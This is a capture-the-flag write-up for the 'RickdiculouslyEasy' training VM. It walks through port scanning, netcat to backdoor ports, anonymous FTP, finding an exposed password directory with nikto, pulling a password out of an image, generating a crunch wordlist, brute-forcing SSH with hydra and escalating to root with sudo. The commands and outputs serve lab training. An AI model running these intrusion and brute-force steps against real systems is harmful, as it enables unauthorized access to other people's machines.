Box-RICKdiculouslyEasy

- **Scanning all the ports on the target IP address.**

```
┌──(yashash㉿kali)-[~]
└─$ nmap -p- 192.168.56.102
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-28 17:32 IST
Nmap scan report for 192.168.56.102
Host is up (0.010s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
9090/tcp  open  zeus-admin
13337/tcp open  unknown
22222/tcp open  easyengine
60000/tcp open  unknown
MAC Address: 08:00:27:BF:52:95 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 41.23 seconds
```

- **Finding the flag(9090):**
  - nmap Ip address/24 (/24 is subnet mask)
  - we get the services that are present.
  - copy the Ip address and search in url(ipaddr:9090). We get the flag for port 9090.

FLAG **{THERE IS NO ZEUS, IN YOUR FACE!} - 10 POINTS**

- **Finding the flag(13337):**
  - since it is an unknown service we can try using “nc”.
  - we found the flag for port 13337 .

```
┌──(yashash㉿kali)-[~]
└─$ nc -v 192.168.56.102 13337
192.168.56.102: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.56.102] 13337 (?) open
FLAG:{TheyFoundMyBackDoorMorty}-10Points
```

- **Finding the flag(60000):**
  - since it is also an unknown service we can try using “nc”.
  - Then we get something like # ….
  - Try something like “hi” then we received an output like command not found.
  - So that mean it acts as a terminal. So firstly lets check are there any files using “ls”.

- There is file named (FLAG.txt) and just read the file and get the flag for port 60000

```
┌──(yashash㉿kali)-[~]
└─$ nc -v 192.168.56.102 60000
192.168.56.102: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.56.102] 60000 (?) open
Welcome to Ricks half baked reverse shell...
# hiii
hiii: command not found
# ls
FLAG.txt
# cat FLAG.txt
FLAG{Flip the pickle Morty!} - 10 Points
#
: command not found
```

➢ **Finding the flag(21):**

- Connect to ftp using the ip address.
- We need to login using a user and pass. But here in this we can use "anonymous or ftp" as user name and password can be any text.
- But this has limited permissions generally to read-only access to download public file.

```
┌──(yashash㉿kali)-[~]
└─$ ftp 192.168.56.102
Connected to 192.168.56.102.
220 (vsFTPd 3.0.3)
Name (192.168.56.102:yashash): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||14019|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              42 Aug 22  2017 FLAG.txt
drwxr-xr-x    2 0        0               6 Feb 12  2017 pub
226 Directory send OK.
ftp> get FLAG.txt /home/yashash/flag
local: /home/yashash/flag remote: FLAG.txt
229 Entering Extended Passive Mode (|||45880|)
150 Opening BINARY mode data connection for FLAG.txt (42 bytes).
100% |***********************************************************************************************************************************************|    42        7.56 KiB/s    00:00 ETA
226 Transfer complete.
42 bytes received in 00:00 (3.39 KiB/s)
ftp> bye
221 Goodbye.
```

- After successful log in just list the files that are present.
- A file named FLAG.txt is available. But we can't read it directly from the ftp terminal.
- Because FTP is designed strictly for transferring files, not for execution or file manipulation on the server side.
- So using "get" command transfer the file from that to our local terminal into a file.
- The command is get filename ../../local.filename
- Then read the file and get the flag for port 21

```
226 Transfer complete.
42 bytes received in 00:00 (3.39 KiB/s)
ftp> bye
221 Goodbye.
┌──(yashash㉿kali)-[~]
└─$ cat flag
FLAG{Whoa this is unexpected} - 10 Points
```

- **The 3 users we found**

```
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:995:993::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
RickSanchez:x:1000:1000::/home/RickSanchez:/bin/bash
Morty:x:1001:1001::/home/Morty:/bin/bash
Summer:x:1002:1002::/home/Summer:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
```

- **Finding the flag(80):**
  - Since we want more details of the Morty's website in order to exploit it , to find the password.
  - We use "nikto" a web server vulnerability scanner to find the security misconfigurations, outdated software and dangerous files on web applications.
  - Run nikto -h hostname_or_ip

```
┌──(yashash㉿kali)-[~]
└─$ nikto -h 192.168.56.102
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.56.102
+ Target Hostname:    192.168.56.102
+ Target Port:        80
+ Start Time:         2026-03-01 12:01:06 (GMT5.5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.27 (Fedora)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/mis
sing-content-type-header/
+ Apache/2.4.27 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /passwords/: Directory indexing found.
+ /passwords/: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8908 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2026-03-01 12:02:03 (GMT5.5) (57 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

  - We found a directory named passwords and then open it in the url.(192.168.56.102/passwords)
  - A flag file is available and also password file.
  - Click the password file and open the page source we get the password.(password=winter)

192.168.56.102/passwords/

OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB pwn.college/writeups ... XS

Index of /passwords

Name	Last modified	Size	Description
Parent Directory		-	
FLAG.txt	2017-08-22 02:31	44	
passwords.html	2017-08-23 19:51	352	

  - The flag for the port 80

```
FLAG{Yeah d- just don't do it.} - 10 Points
```

- **Finding the flag(22222):**
  - We have three users and also a password. So only one user matches with the password.
  - Run ssh -p 22222 Summer@192.168.56.102
  - Enter the password. After log in run “ls” and FLAG.txt file is available.
  - Get the flag for port 22222

```
FLAG{Get off the high road Summer!} - 10 Points
(END)
```

- **Finding the flag(22222):**
  - Run ssh -p 22222 Summer@192.168.56.102
  - Search for all the files (ls /)

```
[Summer@localhost home]$ ls /
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
[Summer@localhost home]$ ls
Morty  RickSanchez  Summer
```

  - In home directory we get three user names in the form of directories.
  - Run cd Morty
  - List the files and we see a password file in terms of jpg file.

```
[Summer@localhost home]$ cd Morty
[Summer@localhost Morty]$ ls
journal.txt.zip  Safe_Password.jpg
```

  - Copy the file to local terminal by using the command.
  - scp -P 22222 user@host:/path/to/file.jpg /path/to/local/directory
  - here In ssh we use -p and in scp we use -P for ports.
  - After that read the image file.

```
┌──(yashash㉿kali)-[~/Documents]
└─$ strings  Safe_Password.jpg
JFIF
Exif
8 The Safe Password: File: /home/Morty/journal.txt.zip. Password: Meeseek
8BIM
8BIM
$3br
```

  - Now lets copy the zip file to local terminal and extract it.

```
┌──(yashash㉿kali)-[~/Documents]
└─$ scp -P 22222 Summer@192.168.56.102:/home/Morty/journal.txt.zip /home/yashash/Documents

Summer@192.168.56.102's password:
journal.txt.zip

┌──(yashash㉿kali)-[~/Documents]
└─$ unzip journal.txt.zip
Archive:  journal.txt.zip
[journal.txt.zip] journal.txt password:
  inflating: journal.txt

┌──(yashash㉿kali)-[~/Documents]
└─$ ls
 journal.txt   journal.txt.zip   Safe_Password.jpg   update_password.php   'WhatsApp Image 2025-10-07 at 12.43.33 AM.jpeg'
```

- Now read the file and get the flag.(cat journal.txt)

```
┌──(yashash㉿kali)-[~/Documents]
└─$ cat journal.txt
Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? O
r a password to a safe? Or a safe password to a safe?

Anyway. Here it is:

FLAG: {131333} - 20 Points
```

- **Finding the flag(22222):**
  - Run ssh -p 22222 Summer@192.168.56.102
  - Search for all the files (ls /)
  - Go to home directory and list the files we have FLAG.txt and safe file.
  - In Before flag in that there is a clue in order to get the next flag.

```
┌──(yashash㉿kali)-[~/Documents]
└─$ cat journal.txt
Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? O
r a password to a safe? Or a safe password to a safe?

Anyway. Here it is:

FLAG: {131333} - 20 Points
```

  - In the above clue it is said that Rick told me a huge secret about safe password like something either it is about safe or password. but however he gave me something.
  - He gave a 131333 as a secret.
  - When we run the ./safe it is said that next time tell rick to enter a argument in the command.(eg: ./safe hiii)

```
[Summer@localhost ~]$ ./safe
Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE AAAAAHHAHAGGGGRRGUMENTS!
```

  - If we look into the before flag the clue given and this we should understand that the command is given as a secret.
  - Run ./safe 131333 and get the flag for port 22222

```
[Summer@localhost ~]$ ./safe 131333
decrypt:        FLAG{And Awwwaaaaayyyy we Go!} - 20 Points

Ricks password hints:
 (This is incase I forget.. I just hope I don't forget how to write a script to generate potential passwords. Also, sudo is wheely good.)
Follow these clues, in order


1 uppercase character
1 digit
One of the words in my old bands name.◆ @
[Summer@localhost ~]$
```

- **Finding the password for Rick:**

- From the above flag we got some clues related to Rick password.
- We know that 1st character is an uppercase and 2nd is a number from 0-9 and then followed by a word.

```
Ricks password hints:
 (This is incase I forget.. I just hope I don't forget how to write a script to generate potential passwords. Also, sudo is wheely good.)
Follow these clues, in order


1 uppercase character
1 digit
One of the words in my old bands name.◆ @
[Summer@localhost ~]$
```

- We need to brute force for the password using a tool (hydra)
- Install hydra tool using command sudo apt install hydra
- Crunch 7 7 -t ,%Flesh -o wordlist.txt (the word is Flesh or Curtains)
- In the above 7 7 refers to min and max length and , refers to an uppercase letter and % refers to digit .so that while brute-forcing the values will get placed in that.

```
┌──(yashash㉿kali)-[~]
└─$ crunch 10 10 -t ,%Curtains -o hydra_pass.txt
Crunch will now generate the following amount of data: 2860 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260

crunch: 100% completed generating output
```

- Now run the hydra command to start brute force.
- hydra -l username -P /path/to/wordlist.txt ssh://192.168.56.102 -s 22222

```
┌──(yashash㉿kali)-[~]
└─$ hydra -l RickSanchez -P /home/yashash/hydra_pass.txt ssh://192.168.56.102 -s 22222
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-02 21:46:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:1/p:260), ~17 tries per task
[DATA] attacking ssh://192.168.56.102:22222/
[22222][ssh] host: 192.168.56.102   login: RickSanchez   password: P7Curtains
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-02 21:46:40
```

- we go the password(pw=P7Curtain)

➢ **Finding the Root flag:**

- Log in with the Rick user credentials
- Run ssh -p 22222 RickSanchez@192.168.56.102
- After log in check for what all the access u have(previliges)
- Sudo -l (checks for the previliges)
- If he password that we entered(Rick pass) is correct then we can say that Rick is a sudo user.

```
[RickSanchez@localhost ~]$ sudo -l
[sudo] password for RickSanchez:
Matching Defaults entries for RickSanchez on localhost:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User RickSanchez may run the following commands on localhost:
    (ALL) ALL
[RickSanchez@localhost ~]$
```

- From the above it says that Rick has all the access and can use all commands.
- We can switch the user to root , by the command sudo -i

```
[RickSanchez@localhost ~]$ sudo -i
[root@localhost ~]# ls
anaconda-ks.cfg  FLAG.txt
[root@localhost ~]# less FLAG.txt
```

- Read the file and get the flag

```
FLAG: {Ionic Defibrillator} - 30 points
(END)
```